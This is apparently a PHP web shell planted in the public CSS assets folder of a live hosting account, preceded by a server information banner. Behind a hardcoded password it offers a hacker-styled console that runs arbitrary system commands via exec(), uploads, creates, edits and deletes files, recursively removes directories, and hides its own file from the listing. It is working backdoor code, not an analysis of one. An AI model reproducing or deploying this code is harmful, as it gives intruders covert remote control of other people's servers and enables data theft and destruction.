Server : LiteSpeed System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64 User : u615232177 ( 615232177) PHP Version : 8.1.33 Disable Function : NONE Directory : /home/u615232177/domains/debutlers.com/public_html/assets/css/ |
<?php
$password = "saksocumemetusta";
session_start();
if ($_POST['pass'] ?? '' === $password) {
$_SESSION['auth'] = true;
}
if (!($_SESSION['auth'] ?? false)) {
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ACCESS DENIED</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
@import url("https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap");
* { font-family: "JetBrains Mono", monospace; }
@keyframes glitch {
0%, 100% { transform: translate(0); }
20% { transform: translate(-2px, 2px); }
40% { transform: translate(-2px, -2px); }
60% { transform: translate(2px, 2px); }
80% { transform: translate(2px, -2px); }
}
@keyframes pulse-glow {
0%, 100% { box-shadow: 0 0 5px #00ff00, 0 0 10px #00ff00, 0 0 15px #00ff00; }
50% { box-shadow: 0 0 10px #00ff00, 0 0 20px #00ff00, 0 0 30px #00ff00, 0 0 40px #00ff00; }
}
@keyframes scan {
0% { transform: translateY(-100%); }
100% { transform: translateY(100vh); }
}
.glitch { animation: glitch 0.3s infinite; }
.pulse-glow { animation: pulse-glow 2s ease-in-out infinite; }
.scan-line {
position: fixed;
width: 100%;
height: 2px;
background: linear-gradient(to bottom, transparent, #00ff00, transparent);
opacity: 0.3;
animation: scan 3s linear infinite;
pointer-events: none;
z-index: 9999;
}
.terminal-cursor::after {
content: "_";
animation: blink 1s infinite;
}
@keyframes blink {
0%, 50% { opacity: 1; }
51%, 100% { opacity: 0; }
}
</style>
</head>
<body class="bg-black text-green-400 h-screen flex justify-center items-center overflow-hidden relative">
<div class="scan-line"></div>
<div class="absolute inset-0 bg-[url(\'data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iNDAiIGhlaWdodD0iNDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PGRlZnM+PHBhdHRlcm4gaWQ9ImdyaWQiIHdpZHRoPSI0MCIgaGVpZ2h0PSI0MCIgcGF0dGVyblVuaXRzPSJ1c2VyU3BhY2VPblVzZSI+PHBhdGggZD0iTSAxMCAwIEwgMCAwIDAgMTAiIGZpbGw9Im5vbmUiIHN0cm9rZT0iIzAwZmYwMCIgc3Ryb2tlLXdpZHRoPSIwLjUiIG9wYWNpdHk9IjAuMSIvPjwvcGF0dGVybj48L2RlZnM+PHJlY3Qgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgZmlsbD0idXJsKCNncmlkKSIvPjwvc3ZnPg==\')] opacity-20"></div>
<form method="post" class="bg-black border-2 border-green-500 p-8 rounded-lg shadow-2xl relative z-10 pulse-glow backdrop-blur-sm">
<div class="mb-6 text-center">
<h1 class="text-4xl font-bold mb-2 glitch text-green-400">[ ACCESS DENIED ]</h1>
<p class="text-green-500 text-sm">SYSTEM PROTECTION ACTIVE</p>
</div>
<div class="mb-4">
<label class="block text-green-400 mb-2 text-sm">PASSWORD:</label>
<input type="password" name="pass" placeholder=">_" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50 terminal-cursor" autofocus>
</div>
<button type="submit" class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ AUTHENTICATE ]</button>
<div class="mt-4 text-center text-xs text-green-600">
<p>Unauthorized access is prohibited</p>
</div>
</form>
</body>
</html>';
exit;
}
function h($str) { return htmlspecialchars($str, ENT_QUOTES); }
$dir = $_GET['dir'] ?? getcwd();
$dir = realpath($dir) ?: getcwd();
if (strpos($dir, getcwd()) !== 0) $dir = getcwd();
if ($_POST['cmd'] ?? false) {
$cmd = $_POST['cmd'];
$output = [];
$return_var = 0;
exec($cmd . ' 2>&1', $output, $return_var);
$cmd_result = '<div class="border-2 border-green-500 p-4 rounded-lg bg-black mb-4">
<h3 class="text-green-400 font-bold mb-2">[ COMMAND OUTPUT ]</h3>
<pre class="bg-black text-green-400 p-3 rounded border border-green-500/50 overflow-x-auto font-mono text-sm">' . h(implode("\n", $output)) . '</pre>
<p class="text-green-600 text-xs mt-2">Exit code: ' . $return_var . '</p>
</div>';
}
$action = $_GET['a'] ?? '';
if ($action === 'edit' && isset($_GET['file'])) {
$file = $dir . '/' . $_GET['file'];
if ($_POST['save']) {
file_put_contents($file, $_POST['content']);
echo "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ SUCCESS ] File saved.</div>";
}
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>EDIT FILE</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
@import url("https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap");
* { font-family: "JetBrains Mono", monospace; }
@keyframes scan {
0% { transform: translateY(-100%); }
100% { transform: translateY(100vh); }
}
.scan-line {
position: fixed;
width: 100%;
height: 2px;
background: linear-gradient(to bottom, transparent, #00ff00, transparent);
opacity: 0.2;
animation: scan 4s linear infinite;
pointer-events: none;
z-index: 9999;
}
</style>
</head>
<body class="bg-black text-green-400 min-h-screen p-6">
<div class="scan-line"></div>
<form method="post" class="bg-black border-2 border-green-500 p-6 rounded-lg shadow-2xl">
<div class="mb-4">
<h2 class="text-2xl font-bold text-green-400 mb-2">[ EDIT MODE ]</h2>
<p class="text-green-600 text-sm">File: ' . h(basename($file)) . '</p>
</div>
<textarea name="content" rows="25" class="w-full p-4 bg-black text-green-400 border-2 border-green-500 rounded font-mono text-sm focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50" style="font-family: \'JetBrains Mono\', monospace;">' . h(file_get_contents($file)) . '</textarea>
<div class="mt-4 flex gap-4">
<button name="save" value="1" class="flex-1 p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ SAVE ]</button>
<a href="?dir=' . urlencode($dir) . '" class="flex-1 p-3 bg-red-500 text-white font-bold rounded hover:bg-red-400 transition-all duration-200 hover:shadow-lg hover:shadow-red-500/50 active:scale-95 text-center">[ CANCEL ]</a>
</div>
</form>
</body>
</html>';
exit;
}
if ($action === 'delete' && isset($_GET['file'])) {
$file = $dir . '/' . $_GET['file'];
if (is_file($file)) unlink($file);
elseif (is_dir($file)) {
function rmdir_recursive($dir) {
foreach(scandir($dir) as $f)
if ($f !== '.' && $f !== '..') {
$path = "$dir/$f";
is_dir($path) ? rmdir_recursive($path) : unlink($path);
}
rmdir($dir);
}
rmdir_recursive($file);
}
header("Location: ?dir=" . urlencode($dir));
exit;
}
if (($_POST['upload'] ?? false) && ($_FILES['file']['tmp_name'] ?? false)) {
move_uploaded_file($_FILES['file']['tmp_name'], $dir . '/' . $_FILES['file']['name']);
$upload_success = "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ UPLOAD SUCCESS ] " . h($_FILES['file']['name']) . "</div>";
}
if ($_POST['newfile'] ?? false) {
file_put_contents($dir . '/' . $_POST['newfile'], $_POST['newcontent'] ?? '');
$create_success = "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ FILE CREATED ] " . h($_POST['newfile']) . "</div>";
}
if ($_POST['newfolder'] ?? false) {
mkdir($dir . '/' . $_POST['newfolder'], 0755);
$folder_success = "<div class='bg-green-500 text-black p-4 mb-4 rounded border border-green-400 font-bold animate-pulse'>[ FOLDER CREATED ] " . h($_POST['newfolder']) . "</div>";
}
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>FILE MANAGER</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
@import url("https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&display=swap");
* { font-family: "JetBrains Mono", monospace; }
@keyframes scan {
0% { transform: translateY(-100%); }
100% { transform: translateY(100vh); }
}
@keyframes glow {
0%, 100% { text-shadow: 0 0 5px #00ff00, 0 0 10px #00ff00; }
50% { text-shadow: 0 0 10px #00ff00, 0 0 20px #00ff00, 0 0 30px #00ff00; }
}
@keyframes fade-in {
from { opacity: 0; transform: translateY(-10px); }
to { opacity: 1; transform: translateY(0); }
}
.scan-line {
position: fixed;
width: 100%;
height: 2px;
background: linear-gradient(to bottom, transparent, #00ff00, transparent);
opacity: 0.15;
animation: scan 5s linear infinite;
pointer-events: none;
z-index: 9999;
}
.glow-text { animation: glow 2s ease-in-out infinite; }
.fade-in { animation: fade-in 0.5s ease-out; }
.terminal-cursor::after {
content: "_";
animation: blink 1s infinite;
}
@keyframes blink {
0%, 50% { opacity: 1; }
51%, 100% { opacity: 0; }
}
.file-row:hover {
background-color: rgba(0, 255, 0, 0.1);
border-left: 3px solid #00ff00;
}
</style>
</head>
<body class="bg-black text-green-400 min-h-screen p-6">
<div class="scan-line"></div>
<div class="max-w-7xl mx-auto fade-in">
<div class="mb-6 border-2 border-green-500 p-4 rounded-lg bg-black">
<h1 class="text-4xl font-bold mb-2 glow-text text-green-400">[ FILE MANAGER ]</h1>
<p class="text-green-600 text-sm">Current Directory: <span class="text-green-400">' . h($dir) . '</span></p>
</div>
' . ($cmd_result ?? '') . '
' . ($upload_success ?? '') . '
' . ($create_success ?? '') . '
' . ($folder_success ?? '') . '
<div class="grid grid-cols-1 lg:grid-cols-2 gap-4 mb-6">
<div class="border-2 border-green-500 p-4 rounded-lg bg-black">
<h3 class="text-lg font-bold mb-3 text-green-400">[ COMMAND EXECUTOR ]</h3>
<form method="post" class="space-y-2">
<input type="text" name="cmd" placeholder="> Execute command (e.g: ls -la)" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50 terminal-cursor">
<button class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ EXECUTE ]</button>
</form>
</div>
<div class="border-2 border-green-500 p-4 rounded-lg bg-black">
<h3 class="text-lg font-bold mb-3 text-green-400">[ FILE UPLOAD ]</h3>
<form method="post" enctype="multipart/form-data" class="space-y-2">
<input type="file" name="file" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded file:bg-green-500 file:text-black file:border-0 file:rounded file:px-4 file:py-2 file:cursor-pointer">
<button name="upload" value="1" class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ UPLOAD ]</button>
</form>
</div>
</div>
<div class="grid grid-cols-1 lg:grid-cols-2 gap-4 mb-6">
<div class="border-2 border-green-500 p-4 rounded-lg bg-black">
<h3 class="text-lg font-bold mb-3 text-green-400">[ CREATE FILE ]</h3>
<form method="post" class="space-y-2">
<input type="text" name="newfile" placeholder="filename.txt" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50">
<textarea name="newcontent" rows="5" placeholder="Content (optional)" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50 resize-none"></textarea>
<button class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ CREATE ]</button>
</form>
</div>
<div class="border-2 border-green-500 p-4 rounded-lg bg-black">
<h3 class="text-lg font-bold mb-3 text-green-400">[ CREATE FOLDER ]</h3>
<form method="post" class="space-y-2">
<input type="text" name="newfolder" placeholder="folder_name" class="w-full p-3 bg-black text-green-400 border border-green-500 rounded focus:outline-none focus:ring-2 focus:ring-green-500 focus:ring-opacity-50">
<button class="w-full p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ CREATE ]</button>
</form>
</div>
</div>
<div class="border-2 border-green-500 rounded-lg bg-black overflow-hidden">
<div class="bg-green-500 text-black p-3 font-bold">
[ FILE LISTING ]
</div>
<div class="overflow-x-auto">
<table class="w-full border-collapse">
<thead>
<tr class="bg-green-900/30 border-b-2 border-green-500">
<th class="text-left p-4 text-green-400 font-bold">NAME</th>
<th class="text-left p-4 text-green-400 font-bold">SIZE</th>
<th class="text-left p-4 text-green-400 font-bold">PERMISSIONS</th>
<th class="text-left p-4 text-green-400 font-bold">ACTIONS</th>
</tr>
</thead>
<tbody>';
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..' || $item === basename(__FILE__)) continue; // hide this shell
$path = $dir . '/' . $item;
$is_dir = is_dir($path);
$size = $is_dir ? '-' : filesize($path);
$perms = substr(sprintf('%o', fileperms($path)), -4);
$row_class = $is_dir ? "bg-green-900/10" : "bg-black";
echo "
<tr class='file-row border-b border-green-500/20 transition-all duration-200 $row_class'>
<td class='p-4'>" . ($is_dir ? "<span class='text-green-400 font-bold'>[DIR]</span> " : "<span class='text-cyan-400 font-bold'>[FILE]</span> ") . "<a href='?dir=" . urlencode($dir . '/' . $item) . "' class='text-green-400 hover:text-green-300 hover:underline transition-colors'>" . h($item) . "</a></td>
<td class='p-4 text-green-500'>" . ($is_dir ? "-" : number_format($size) . " bytes") . "</td>
<td class='p-4 text-yellow-400 font-mono'>$perms</td>
<td class='p-4'>
<div class='flex gap-3'>
" . (!$is_dir ? "<a href='?a=edit&dir=" . urlencode($dir) . "&file=" . urlencode($item) . "' class='text-green-400 hover:text-green-300 hover:underline transition-colors'>[ EDIT ]</a>" : "") . "
<a href='?a=delete&dir=" . urlencode($dir) . "&file=" . urlencode($item) . "' class='text-red-400 hover:text-red-300 hover:underline transition-colors' onclick='return confirm(\"Delete this item?\")'>[ DELETE ]</a>
</div>
</td>
</tr>";
}
echo '</tbody></table>
</div>
</div>
<div class="mt-6 flex justify-between items-center">
<a href="?dir=' . urlencode(dirname($dir)) . '" class="p-3 bg-green-500 text-black font-bold rounded hover:bg-green-400 transition-all duration-200 hover:shadow-lg hover:shadow-green-500/50 active:scale-95">[ PARENT DIRECTORY ]</a>
<div class="text-green-600 text-sm">
<span class="text-green-400">System:</span> Ready
</div>
</div>
</div>
</body>
</html>';
?>